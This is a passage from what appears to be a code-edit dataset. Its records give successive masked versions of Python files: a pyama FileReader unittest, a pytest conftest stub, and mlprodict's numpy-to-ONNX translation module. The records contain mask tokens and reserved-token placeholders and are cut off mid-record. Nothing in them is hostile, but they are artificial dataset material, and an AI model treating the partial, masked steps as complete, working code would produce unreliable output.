file.segments[6].name)\n self.assertEqual(3, len(file.segments[6].text))\n\n def test_analyses_parameters(self):\n segment = Segment('name', 'file name')\n line = (\n ' SNIPPET START A=B B=13 K=\\'ha mi\\' ZIG=\"ZA G\" WITH hami -> \"mami\" '\n )\n FileReader('whatnot', ['onces']).analyze_parameters(line, segment)\n self.assertEqual(segment.parameters['A'], 'B')\n self.assertEqual(segment.parameters['B'], '13')\n self.assertEqual(segment.parameters['K'], 'ha mi')\n self.assertEqual(segment.parameters['ZIG'], 'ZA G')\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-4": "import unittest\nfrom pyama.filereader import FileReader, Segment\n\n\nclass TestFileReader(unittest.TestCase):\n\n def test_reads_file(self):\n reader = FileReader('sample_reader_test.txt', regexes=[(\n 'name=\"(\\\\w+)\"', 'END SEGMENT'), ('\\\\s*\\\\*\\\\s*START\\\\s*(\\\\w+)',\n 'END SEGMENT'), ('PYTHON\\\\s+SEGMENT\\\\s+(\\\\w[\\\\w\\\\d_]*)', None)])\n file = reader.read()\n self.assertEqual(7, len(file.segments))\n self.assertEqual('0', file.segments[0].name)\n self.assertEqual(2, len(file.segments[0].text))\n self.assertEqual('segmentOne', file.segments[1].name)\n self.assertEqual(3, len(file.segments[1].text))\n self.assertEqual('1', file.segments[2].name)\n self.assertEqual(1, len(file.segments[2].text))\n self.assertEqual('anotherSegment', file.segments[3].name)\n self.assertEqual(6, len(file.segments[3].text))\n self.assertEqual('2', file.segments[4].name)\n self.assertEqual(2, len(file.segments[4].text))\n self.assertEqual('python_segment', file.segments[5].name)\n self.assertEqual(4, len(file.segments[5].text))\n self.assertEqual('python_segment', file.segments[6].name)\n self.assertEqual(3, len(file.segments[6].text))\n\n def test_analyses_parameters(self):\n segment = Segment('name', 'file name')\n line = (\n ' SNIPPET START A=B B=13 K=\\'ha mi\\' ZIG=\"ZA G\" WITH hami -> \"mami\" '\n )\n FileReader('whatnot', ['onces']).analyze_parameters(line, segment)\n self.assertEqual(segment.parameters['A'], 'B')\n self.assertEqual(segment.parameters['B'], '13')\n self.assertEqual(segment.parameters['K'], 'ha mi')\n self.assertEqual(segment.parameters['ZIG'], 'ZA G')\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-5": "#! /usr/bin/python\n# -*- coding: utf8 -*-\n# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\nimport unittest\n\nfrom pyama.filereader import FileReader,Segment\n\n\nclass TestFileReader(unittest.TestCase):\n def test_reads_file(self):\n reader = FileReader(\n \"sample_reader_test.txt\",\n regexes=[(r'name=\"(\\w+)\"', 'END SEGMENT'),\n (r'\\s*\\*\\s*START\\s*(\\w+)', 'END SEGMENT'),\n (r\"PYTHON\\s+SEGMENT\\s+(\\w[\\w\\d_]*)\", None)]\n )\n file = reader.read()\n self.assertEqual(7, len(file.segments))\n self.assertEqual('0', file.segments[0].name)\n self.assertEqual(2, len(file.segments[0].text))\n self.assertEqual('segmentOne', file.segments[1].name)\n self.assertEqual(3, len(file.segments[1].text))\n self.assertEqual('1', file.segments[2].name)\n self.assertEqual(1, len(file.segments[2].text))\n self.assertEqual('anotherSegment', file.segments[3].name)\n self.assertEqual(6, len(file.segments[3].text))\n self.assertEqual('2', file.segments[4].name)\n self.assertEqual(2, len(file.segments[4].text))\n self.assertEqual('python_segment', file.segments[5].name)\n self.assertEqual(4, len(file.segments[5].text))\n self.assertEqual('python_segment', file.segments[6].name)\n self.assertEqual(3, len(file.segments[6].text))\n\n def test_analyses_parameters(self):\n segment = Segment(\"name\",\"file name\")\n line = \"\"\" SNIPPET START A=B B=13 K='ha mi' ZIG=\"ZA G\" WITH hami -> \"mami\" \"\"\"\n FileReader(\"whatnot\",[\"onces\"]).analyze_parameters(line,segment)\n self.assertEqual(segment.parameters[\"A\"],\"B\")\n self.assertEqual(segment.parameters[\"B\"],\"13\")\n self.assertEqual(segment.parameters[\"K\"],\"ha mi\")\n self.assertEqual(segment.parameters[\"ZIG\"],\"ZA G\")\n\nif __name__ == '__main__':\n unittest.main()\n", "step-ids": [ 2, 3, 4, 5, 6 ] }

[ 2, 3, 4, 5, 6 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> import pytest <|reserved_special_token_1|> """ ====================== @author:小谢学测试 @time:2021/9/8:8:34 @email:xie7791@qq.com ====================== """ import pytest # @pytest.fixture() # def login(): # print("登录方法") # def pytest_conftest(config): # marker_list = ["search","login"] # for markers in marker_list: # config.addinivalue_line("markers",markers)

flexible

{ "blob_id": "b52429f936013ac60659950492b67078fabf3a13", "index": 4042, "step-1": "<mask token>\n", "step-2": "<mask token>\nimport pytest\n", "step-3": "\"\"\"\n======================\n@author:小谢学测试\n@time:2021/9/8:8:34\n@email:xie7791@qq.com\n======================\n\"\"\"\nimport pytest\n# @pytest.fixture()\n# def login():\n# print(\"登录方法\")\n\n# def pytest_conftest(config):\n# marker_list = [\"search\",\"login\"]\n# for markers in marker_list:\n# config.addinivalue_line(\"markers\",markers)", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }

[ 0, 1, 2 ]

""" @file @brief One class which visits a syntax tree. """ import inspect import ast from textwrap import dedent import numpy from scipy.spatial.distance import squareform, pdist from .node_visitor_translator import CodeNodeVisitor def py_make_float_array(cst, op_version=None): """ Creates an array with a single element from a constant. @param cst constant @param op_version unused @return array .. runpython:: :showcode: :warningout: DeprecationWarning from mlprodict.onnx_tools.onnx_grammar.onnx_translation import py_make_float_array print(py_make_float_array(5.5)) """ return numpy.array([cst], dtype=numpy.float32) def py_pow(x, p, op_version=None): """ Function for python operator ``**``. @param x float @param p power @param op_version unused @return :math:`x^p` """ return x ** p def py_mul(*x, op_version=None): """ Function for python operator ``*``. @param x floats @param op_version unused @return `x*y` """ if len(x) == 2: return x[0] * x[1] p = x[0] for y in x[1:]: p *= y return p def py_opp(x, op_version=None): """ Function for python unary operator ``-``. @param x floats @param op_version unused @return `-x` """ return -x def squareform_pdist(X, metric='sqeuclidean', op_version=None): """ Replacements for `squareform <http://scipy.github.io/devdocs/generated/scipy.spatial.distance.squareform.html>`_ and `pdist <http://scipy.github.io/devdocs/generated/scipy.spatial.distance.pdist.html>`_. """ return squareform(pdist(X, metric=metric)) def get_default_context(): """ Returns a default context useful for most of the conversion from a function using :epkg:`numpy` into :epkg:`ONNX`. """ context = {'py_pow': py_pow, 'py_make_float_array': py_make_float_array, 'py_mul': py_mul, 'py_opp': py_opp, 'cdist': 'cdist', 'squareform_pdist': 'squareform_pdist'} allow = set(('abs add ceil arccos arccosh arcsin arcsinh arctan arctanh ceil cos cosh divide' 'equal exp floor greater invert less log matmul maximum minimum mod' 'multiply power sign sin sinh sqrt square subtract tan tanh transpose').split()) for k, v in numpy.__dict__.items(): if k not in allow: continue context[f'numpy.{k}'] = v context[f'np.{k}'] = v return context def get_default_context_cpl(): """ Returns a default useful context to compile the converter returned by @see fn translate_fct2onnx. """ ctx = {'py_make_float_array': py_make_float_array, 'py_pow': py_pow, 'py_mul': py_mul, 'py_opp': py_opp, 'numpy': numpy} try: from skl2onnx.algebra.complex_functions import onnx_squareform_pdist # delayed from skl2onnx.algebra.complex_functions import onnx_cdist # delayed ctx['onnx_squareform_pdist'] = onnx_squareform_pdist ctx['onnx_cdist'] = onnx_cdist except ImportError: # pragma: no cover # Too old version for skl2onnx. pass from skl2onnx.algebra import onnx_ops # delayed from skl2onnx.algebra.onnx_operator import OnnxOperator # delayed d = onnx_ops.__dict__ for k, v in d.items(): try: if k.startswith("Onnx") and issubclass(v, OnnxOperator): ctx[k] = v except TypeError as e: if inspect.isfunction(v): continue raise RuntimeError( # pragma: no cover f"Issue with {k}={v} (type={type(v)})") from e return ctx def translate_fct2onnx(fct, context=None, cpl=False, context_cpl=None, output_names=None, dtype=numpy.float32, verbose=0, fLOG=None): """ Translates a function into :epkg:`ONNX`. The code it produces is using classes *OnnxAbs*, *OnnxAdd*, ... @param fct function to convert @param context context of the function to convert something like ``{'numpy.transpose': numpy.transpose}``, if *context* is None, it receives a default value returnd by @see fn get_default_context @param cpl compile the function after it was created @param context_cpl context used at compiling time if *context_cpl* is None, it receives a default value returnd by @see fn get_default_context_cpl @param output_names names of the output in the :epkg:`ONNX` graph @param dtype :epkg:`numpy` float type used to produce the model @param verbose integer, display more information @param fLOG logging function @return code or compiled code .. exref:: :title: Convert a function into ONNX code The following code parses a python function and returns another python function which produces an :epkg:`ONNX` graph if executed. .. runpython:: :showcode: :warningout: DeprecationWarning :process: :store_in_file: fct2onnx2.py import numpy from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx def trs(x, y): z = x + numpy.transpose(y, axes=[1, 0]) return x * z onnx_code = translate_fct2onnx( trs, context={'numpy.transpose': numpy.transpose}) print(onnx_code) Next example goes further and compile the outcome. .. exref:: :title: Convert a function into ONNX code and run The following code parses a python function and returns another python function which produces an :epkg:`ONNX` graph if executed. The example executes the function, creates an :epkg:`ONNX` then uses @see cl OnnxInference to compute *predictions*. Finally it compares them to the original. .. runpython:: :showcode: :warningout: DeprecationWarning :process: :store_in_file: fct2onnx3.py import numpy from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx from mlprodict.plotting.text_plot import onnx_simple_text_plot from mlprodict.onnxrt import OnnxInference from mlprodict.npy.xop import loadop OnnxAdd, OnnxTranspose, OnnxMul, OnnxIdentity = loadop( 'Add', 'Transpose', 'Mul', 'Identity') ctx = {'OnnxAdd': OnnxAdd, 'OnnxTranspose': OnnxTranspose, 'OnnxMul': OnnxMul, 'OnnxIdentity': OnnxIdentity} def trs(x, y): z = x + numpy.transpose(y, axes=[1, 0]) return x * z inputs = {'x': numpy.array([[1, 2]], dtype=numpy.float32), 'y': numpy.array([[-0.3, 0.4]], dtype=numpy.float32).T} original = trs(inputs['x'], inputs['y']) print('original output:', original) onnx_fct = translate_fct2onnx( trs, context={'numpy.transpose': numpy.transpose}, cpl=True, context_cpl=ctx, output_names=['Z']) onnx_code = onnx_fct('x', 'y', op_version=12) onnx_g = onnx_code.to_onnx(inputs, target_opset=12) print("ONNX model") print(onnx_simple_text_plot(onnx_g)) oinf = OnnxInference(onnx_g) res = oinf.run(inputs) print('-----------') print("ONNX inference:", res['Z']) The function to be converted may include python functions which must not be converted. In that case, their name must be prefixed by ``py_``. The execution of the function this one builds produces the following error:: TypeError: Parameter to MergeFrom() must be instance of same class: expected onnx.TensorProto got onnx.AttributeProto. It indicates that constants in the code marges multiple types, usually floats and tensor of floats. Floats should be converted using the following function:: def py_make_float_array(cst): return numpy.array([cst], dtype=numpy.float32) The function replaces empty contexts by default values which covers many :epkg:`numpy` functions. The tutorial :ref:`l-onnx-tutorial` gives an example of how it can be used on a more complex function. """ def compile_code(name, code, context=None): """ Compiles a python function with the given context. @param name function name @param code python code @param context context used at compilation @return compiled function """ if context is None: context = {} # pragma: no cover try: obj = compile(code, "", "exec") except SyntaxError as e: # pragma: no cover raise SyntaxError(f"Unable to compile\n{code}") from e context_g = context.copy() context_l = context.copy() exec(obj, context_g, context_l) # pylint: disable=W0122 return context_l[name] if isinstance(fct, str): code = fct elif callable(fct): code = inspect.getsource(fct) else: raise TypeError( # pragma: no cover f"Unable to guess code from type {type(fct)}.") node = ast.parse(dedent(code)) v = CodeNodeVisitor() v.visit(node) if context is None: context = get_default_context() onnx_code = v.export(context=context, output_names=output_names) if not cpl: return onnx_code if verbose > 0 and fLOG is not None: # pragma: no cover fLOG('[translate_fct2onnx] python code') fLOG(code) fLOG('[translate_fct2onnx] ONNX code') fLOG(onnx_code) if context_cpl is None: context_cpl = get_default_context_cpl() if 'numpy' not in context_cpl: context_cpl = context_cpl.copy() context_cpl['numpy'] = numpy return compile_code(fct.__name__, onnx_code, context_cpl)

normal

{ "blob_id": "fdf6c28e65b50c52550a95c2d991b1eb3ec53a2f", "index": 3540, "step-1": "<mask token>\n\n\ndef py_make_float_array(cst, op_version=None):\n \"\"\"\n Creates an array with a single element\n from a constant.\n\n @param cst constant\n @param op_version unused\n @return array\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n\n from mlprodict.onnx_tools.onnx_grammar.onnx_translation import py_make_float_array\n print(py_make_float_array(5.5))\n \"\"\"\n return numpy.array([cst], dtype=numpy.float32)\n\n\n<mask token>\n\n\ndef py_mul(*x, op_version=None):\n \"\"\"\n Function for python operator ``*``.\n\n @param x floats\n @param op_version unused\n @return `x*y`\n \"\"\"\n if len(x) == 2:\n return x[0] * x[1]\n p = x[0]\n for y in x[1:]:\n p *= y\n return p\n\n\ndef py_opp(x, op_version=None):\n \"\"\"\n Function for python unary operator ``-``.\n\n @param x floats\n @param op_version unused\n @return `-x`\n \"\"\"\n return -x\n\n\n<mask token>\n\n\ndef get_default_context_cpl():\n \"\"\"\n Returns a default useful context to compile the converter\n returned by @see fn translate_fct2onnx.\n \"\"\"\n ctx = {'py_make_float_array': py_make_float_array, 'py_pow': py_pow,\n 'py_mul': py_mul, 'py_opp': py_opp, 'numpy': numpy}\n try:\n from skl2onnx.algebra.complex_functions import onnx_squareform_pdist\n from skl2onnx.algebra.complex_functions import onnx_cdist\n ctx['onnx_squareform_pdist'] = onnx_squareform_pdist\n ctx['onnx_cdist'] = onnx_cdist\n except ImportError:\n pass\n from skl2onnx.algebra import onnx_ops\n from skl2onnx.algebra.onnx_operator import OnnxOperator\n d = onnx_ops.__dict__\n for k, v in d.items():\n try:\n if k.startswith('Onnx') and issubclass(v, OnnxOperator):\n ctx[k] = v\n except TypeError as e:\n if inspect.isfunction(v):\n continue\n raise RuntimeError(f'Issue with {k}={v} (type={type(v)})') from e\n return ctx\n\n\ndef translate_fct2onnx(fct, context=None, cpl=False, context_cpl=None,\n output_names=None, dtype=numpy.float32, verbose=0, fLOG=None):\n \"\"\"\n Translates a function into :epkg:`ONNX`. The code it produces\n is using classes *OnnxAbs*, *OnnxAdd*, ...\n\n @param fct function to convert\n @param context context of the function to convert\n something like ``{'numpy.transpose': numpy.transpose}``,\n if *context* is None, it receives a default value\n returnd by @see fn get_default_context\n @param cpl compile the function after it was\n created\n @param context_cpl context used at compiling time\n if *context_cpl* is None, it receives a default value\n returnd by @see fn get_default_context_cpl\n @param output_names names of the output in the :epkg:`ONNX` graph\n @param dtype :epkg:`numpy` float type used to produce the model\n @param verbose integer, display more information\n @param fLOG logging function\n @return code or compiled code\n\n .. exref::\n :title: Convert a function into ONNX code\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx2.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n onnx_code = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose})\n print(onnx_code)\n\n Next example goes further and compile the outcome.\n\n .. exref::\n :title: Convert a function into ONNX code and run\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed. The example executes the function,\n creates an :epkg:`ONNX` then uses @see cl OnnxInference\n to compute *predictions*. Finally it compares\n them to the original.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx3.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n from mlprodict.plotting.text_plot import onnx_simple_text_plot\n from mlprodict.onnxrt import OnnxInference\n from mlprodict.npy.xop import loadop\n\n\n OnnxAdd, OnnxTranspose, OnnxMul, OnnxIdentity = loadop(\n 'Add', 'Transpose', 'Mul', 'Identity')\n\n\n ctx = {'OnnxAdd': OnnxAdd,\n 'OnnxTranspose': OnnxTranspose,\n 'OnnxMul': OnnxMul,\n 'OnnxIdentity': OnnxIdentity}\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n inputs = {'x': numpy.array([[1, 2]], dtype=numpy.float32),\n 'y': numpy.array([[-0.3, 0.4]], dtype=numpy.float32).T}\n\n original = trs(inputs['x'], inputs['y'])\n\n print('original output:', original)\n\n onnx_fct = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose},\n cpl=True, context_cpl=ctx, output_names=['Z'])\n\n onnx_code = onnx_fct('x', 'y', op_version=12)\n\n onnx_g = onnx_code.to_onnx(inputs, target_opset=12)\n print(\"ONNX model\")\n print(onnx_simple_text_plot(onnx_g))\n\n oinf = OnnxInference(onnx_g)\n res = oinf.run(inputs)\n\n print('-----------')\n print(\"ONNX inference:\", res['Z'])\n\n The function to be converted may include python functions\n which must not be converted. In that case, their name\n must be prefixed by ``py_``. The execution of the function\n this one builds produces the following error::\n\n TypeError: Parameter to MergeFrom() must be instance of same class:\n expected onnx.TensorProto got onnx.AttributeProto.\n\n It indicates that constants in the code marges multiple types,\n usually floats and tensor of floats. Floats should be converted\n using the following function::\n\n def py_make_float_array(cst):\n return numpy.array([cst], dtype=numpy.float32)\n\n The function replaces empty contexts by default values which\n covers many :epkg:`numpy` functions. The tutorial\n :ref:`l-onnx-tutorial` gives an example of how it can be used\n on a more complex function.\n \"\"\"\n\n def compile_code(name, code, context=None):\n \"\"\"\n Compiles a python function with the given\n context.\n\n @param name function name\n @param code python code\n @param context context used at compilation\n @return compiled function\n \"\"\"\n if context is None:\n context = {}\n try:\n obj = compile(code, '', 'exec')\n except SyntaxError as e:\n raise SyntaxError(f'Unable to compile\\n{code}') from e\n context_g = context.copy()\n context_l = context.copy()\n exec(obj, context_g, context_l)\n return context_l[name]\n if isinstance(fct, str):\n code = fct\n elif callable(fct):\n code = inspect.getsource(fct)\n else:\n raise TypeError(f'Unable to guess code from type {type(fct)}.')\n node = ast.parse(dedent(code))\n v = CodeNodeVisitor()\n v.visit(node)\n if context is None:\n context = get_default_context()\n onnx_code = v.export(context=context, output_names=output_names)\n if not cpl:\n return onnx_code\n if verbose > 0 and fLOG is not None:\n fLOG('[translate_fct2onnx] python code')\n fLOG(code)\n fLOG('[translate_fct2onnx] ONNX code')\n fLOG(onnx_code)\n if context_cpl is None:\n context_cpl = get_default_context_cpl()\n if 'numpy' not in context_cpl:\n context_cpl = context_cpl.copy()\n context_cpl['numpy'] = numpy\n return compile_code(fct.__name__, onnx_code, context_cpl)\n", "step-2": "<mask token>\n\n\ndef py_make_float_array(cst, op_version=None):\n \"\"\"\n Creates an array with a single element\n from a constant.\n\n @param cst constant\n @param op_version unused\n @return array\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n\n from mlprodict.onnx_tools.onnx_grammar.onnx_translation import py_make_float_array\n print(py_make_float_array(5.5))\n \"\"\"\n return numpy.array([cst], dtype=numpy.float32)\n\n\ndef py_pow(x, p, op_version=None):\n \"\"\"\n Function for python operator ``**``.\n\n @param x float\n @param p power\n @param op_version unused\n @return :math:`x^p`\n \"\"\"\n return x ** p\n\n\ndef py_mul(*x, op_version=None):\n \"\"\"\n Function for python operator ``*``.\n\n @param x floats\n @param op_version unused\n @return `x*y`\n \"\"\"\n if len(x) == 2:\n return x[0] * x[1]\n p = x[0]\n for y in x[1:]:\n p *= y\n return p\n\n\ndef py_opp(x, op_version=None):\n \"\"\"\n Function for python unary operator ``-``.\n\n @param x floats\n @param op_version unused\n @return `-x`\n \"\"\"\n return -x\n\n\n<mask token>\n\n\ndef get_default_context_cpl():\n \"\"\"\n Returns a default useful context to compile the converter\n returned by @see fn translate_fct2onnx.\n \"\"\"\n ctx = {'py_make_float_array': py_make_float_array, 'py_pow': py_pow,\n 'py_mul': py_mul, 'py_opp': py_opp, 'numpy': numpy}\n try:\n from skl2onnx.algebra.complex_functions import onnx_squareform_pdist\n from skl2onnx.algebra.complex_functions import onnx_cdist\n ctx['onnx_squareform_pdist'] = onnx_squareform_pdist\n ctx['onnx_cdist'] = onnx_cdist\n except ImportError:\n pass\n from skl2onnx.algebra import onnx_ops\n from skl2onnx.algebra.onnx_operator import OnnxOperator\n d = onnx_ops.__dict__\n for k, v in d.items():\n try:\n if k.startswith('Onnx') and issubclass(v, OnnxOperator):\n ctx[k] = v\n except TypeError as e:\n if inspect.isfunction(v):\n continue\n raise RuntimeError(f'Issue with {k}={v} (type={type(v)})') from e\n return ctx\n\n\ndef translate_fct2onnx(fct, context=None, cpl=False, context_cpl=None,\n output_names=None, dtype=numpy.float32, verbose=0, fLOG=None):\n \"\"\"\n Translates a function into :epkg:`ONNX`. The code it produces\n is using classes *OnnxAbs*, *OnnxAdd*, ...\n\n @param fct function to convert\n @param context context of the function to convert\n something like ``{'numpy.transpose': numpy.transpose}``,\n if *context* is None, it receives a default value\n returnd by @see fn get_default_context\n @param cpl compile the function after it was\n created\n @param context_cpl context used at compiling time\n if *context_cpl* is None, it receives a default value\n returnd by @see fn get_default_context_cpl\n @param output_names names of the output in the :epkg:`ONNX` graph\n @param dtype :epkg:`numpy` float type used to produce the model\n @param verbose integer, display more information\n @param fLOG logging function\n @return code or compiled code\n\n .. exref::\n :title: Convert a function into ONNX code\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx2.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n onnx_code = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose})\n print(onnx_code)\n\n Next example goes further and compile the outcome.\n\n .. exref::\n :title: Convert a function into ONNX code and run\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed. The example executes the function,\n creates an :epkg:`ONNX` then uses @see cl OnnxInference\n to compute *predictions*. Finally it compares\n them to the original.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx3.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n from mlprodict.plotting.text_plot import onnx_simple_text_plot\n from mlprodict.onnxrt import OnnxInference\n from mlprodict.npy.xop import loadop\n\n\n OnnxAdd, OnnxTranspose, OnnxMul, OnnxIdentity = loadop(\n 'Add', 'Transpose', 'Mul', 'Identity')\n\n\n ctx = {'OnnxAdd': OnnxAdd,\n 'OnnxTranspose': OnnxTranspose,\n 'OnnxMul': OnnxMul,\n 'OnnxIdentity': OnnxIdentity}\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n inputs = {'x': numpy.array([[1, 2]], dtype=numpy.float32),\n 'y': numpy.array([[-0.3, 0.4]], dtype=numpy.float32).T}\n\n original = trs(inputs['x'], inputs['y'])\n\n print('original output:', original)\n\n onnx_fct = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose},\n cpl=True, context_cpl=ctx, output_names=['Z'])\n\n onnx_code = onnx_fct('x', 'y', op_version=12)\n\n onnx_g = onnx_code.to_onnx(inputs, target_opset=12)\n print(\"ONNX model\")\n print(onnx_simple_text_plot(onnx_g))\n\n oinf = OnnxInference(onnx_g)\n res = oinf.run(inputs)\n\n print('-----------')\n print(\"ONNX inference:\", res['Z'])\n\n The function to be converted may include python functions\n which must not be converted. In that case, their name\n must be prefixed by ``py_``. The execution of the function\n this one builds produces the following error::\n\n TypeError: Parameter to MergeFrom() must be instance of same class:\n expected onnx.TensorProto got onnx.AttributeProto.\n\n It indicates that constants in the code marges multiple types,\n usually floats and tensor of floats. Floats should be converted\n using the following function::\n\n def py_make_float_array(cst):\n return numpy.array([cst], dtype=numpy.float32)\n\n The function replaces empty contexts by default values which\n covers many :epkg:`numpy` functions. The tutorial\n :ref:`l-onnx-tutorial` gives an example of how it can be used\n on a more complex function.\n \"\"\"\n\n def compile_code(name, code, context=None):\n \"\"\"\n Compiles a python function with the given\n context.\n\n @param name function name\n @param code python code\n @param context context used at compilation\n @return compiled function\n \"\"\"\n if context is None:\n context = {}\n try:\n obj = compile(code, '', 'exec')\n except SyntaxError as e:\n raise SyntaxError(f'Unable to compile\\n{code}') from e\n context_g = context.copy()\n context_l = context.copy()\n exec(obj, context_g, context_l)\n return context_l[name]\n if isinstance(fct, str):\n code = fct\n elif callable(fct):\n code = inspect.getsource(fct)\n else:\n raise TypeError(f'Unable to guess code from type {type(fct)}.')\n node = ast.parse(dedent(code))\n v = CodeNodeVisitor()\n v.visit(node)\n if context is None:\n context = get_default_context()\n onnx_code = v.export(context=context, output_names=output_names)\n if not cpl:\n return onnx_code\n if verbose > 0 and fLOG is not None:\n fLOG('[translate_fct2onnx] python code')\n fLOG(code)\n fLOG('[translate_fct2onnx] ONNX code')\n fLOG(onnx_code)\n if context_cpl is None:\n context_cpl = get_default_context_cpl()\n if 'numpy' not in context_cpl:\n context_cpl = context_cpl.copy()\n context_cpl['numpy'] = numpy\n return compile_code(fct.__name__, onnx_code, context_cpl)\n", "step-3": "<mask token>\n\n\ndef py_make_float_array(cst, op_version=None):\n \"\"\"\n Creates an array with a single element\n from a constant.\n\n @param cst constant\n @param op_version unused\n @return array\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n\n from mlprodict.onnx_tools.onnx_grammar.onnx_translation import py_make_float_array\n print(py_make_float_array(5.5))\n \"\"\"\n return numpy.array([cst], dtype=numpy.float32)\n\n\ndef py_pow(x, p, op_version=None):\n \"\"\"\n Function for python operator ``**``.\n\n @param x float\n @param p power\n @param op_version unused\n @return :math:`x^p`\n \"\"\"\n return x ** p\n\n\ndef py_mul(*x, op_version=None):\n \"\"\"\n Function for python operator ``*``.\n\n @param x floats\n @param op_version unused\n @return `x*y`\n \"\"\"\n if len(x) == 2:\n return x[0] * x[1]\n p = x[0]\n for y in x[1:]:\n p *= y\n return p\n\n\ndef py_opp(x, op_version=None):\n \"\"\"\n Function for python unary operator ``-``.\n\n @param x floats\n @param op_version unused\n @return `-x`\n \"\"\"\n return -x\n\n\n<mask token>\n\n\ndef get_default_context():\n \"\"\"\n Returns a default context useful for most of the conversion\n from a function using :epkg:`numpy` into :epkg:`ONNX`.\n \"\"\"\n context = {'py_pow': py_pow, 'py_make_float_array': py_make_float_array,\n 'py_mul': py_mul, 'py_opp': py_opp, 'cdist': 'cdist',\n 'squareform_pdist': 'squareform_pdist'}\n allow = set(\n 'abs add ceil arccos arccosh arcsin arcsinh arctan arctanh ceil cos cosh divideequal exp floor greater invert less log matmul maximum minimum modmultiply power sign sin sinh sqrt square subtract tan tanh transpose'\n .split())\n for k, v in numpy.__dict__.items():\n if k not in allow:\n continue\n context[f'numpy.{k}'] = v\n context[f'np.{k}'] = v\n return context\n\n\ndef get_default_context_cpl():\n \"\"\"\n Returns a default useful context to compile the converter\n returned by @see fn translate_fct2onnx.\n \"\"\"\n ctx = {'py_make_float_array': py_make_float_array, 'py_pow': py_pow,\n 'py_mul': py_mul, 'py_opp': py_opp, 'numpy': numpy}\n try:\n from skl2onnx.algebra.complex_functions import onnx_squareform_pdist\n from skl2onnx.algebra.complex_functions import onnx_cdist\n ctx['onnx_squareform_pdist'] = onnx_squareform_pdist\n ctx['onnx_cdist'] = onnx_cdist\n except ImportError:\n pass\n from skl2onnx.algebra import onnx_ops\n from skl2onnx.algebra.onnx_operator import OnnxOperator\n d = onnx_ops.__dict__\n for k, v in d.items():\n try:\n if k.startswith('Onnx') and issubclass(v, OnnxOperator):\n ctx[k] = v\n except TypeError as e:\n if inspect.isfunction(v):\n continue\n raise RuntimeError(f'Issue with {k}={v} (type={type(v)})') from e\n return ctx\n\n\ndef translate_fct2onnx(fct, context=None, cpl=False, context_cpl=None,\n output_names=None, dtype=numpy.float32, verbose=0, fLOG=None):\n \"\"\"\n Translates a function into :epkg:`ONNX`. The code it produces\n is using classes *OnnxAbs*, *OnnxAdd*, ...\n\n @param fct function to convert\n @param context context of the function to convert\n something like ``{'numpy.transpose': numpy.transpose}``,\n if *context* is None, it receives a default value\n returnd by @see fn get_default_context\n @param cpl compile the function after it was\n created\n @param context_cpl context used at compiling time\n if *context_cpl* is None, it receives a default value\n returnd by @see fn get_default_context_cpl\n @param output_names names of the output in the :epkg:`ONNX` graph\n @param dtype :epkg:`numpy` float type used to produce the model\n @param verbose integer, display more information\n @param fLOG logging function\n @return code or compiled code\n\n .. exref::\n :title: Convert a function into ONNX code\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx2.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n onnx_code = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose})\n print(onnx_code)\n\n Next example goes further and compile the outcome.\n\n .. exref::\n :title: Convert a function into ONNX code and run\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed. The example executes the function,\n creates an :epkg:`ONNX` then uses @see cl OnnxInference\n to compute *predictions*. Finally it compares\n them to the original.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx3.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n from mlprodict.plotting.text_plot import onnx_simple_text_plot\n from mlprodict.onnxrt import OnnxInference\n from mlprodict.npy.xop import loadop\n\n\n OnnxAdd, OnnxTranspose, OnnxMul, OnnxIdentity = loadop(\n 'Add', 'Transpose', 'Mul', 'Identity')\n\n\n ctx = {'OnnxAdd': OnnxAdd,\n 'OnnxTranspose': OnnxTranspose,\n 'OnnxMul': OnnxMul,\n 'OnnxIdentity': OnnxIdentity}\n\n def trs(x, y):\n z = x + 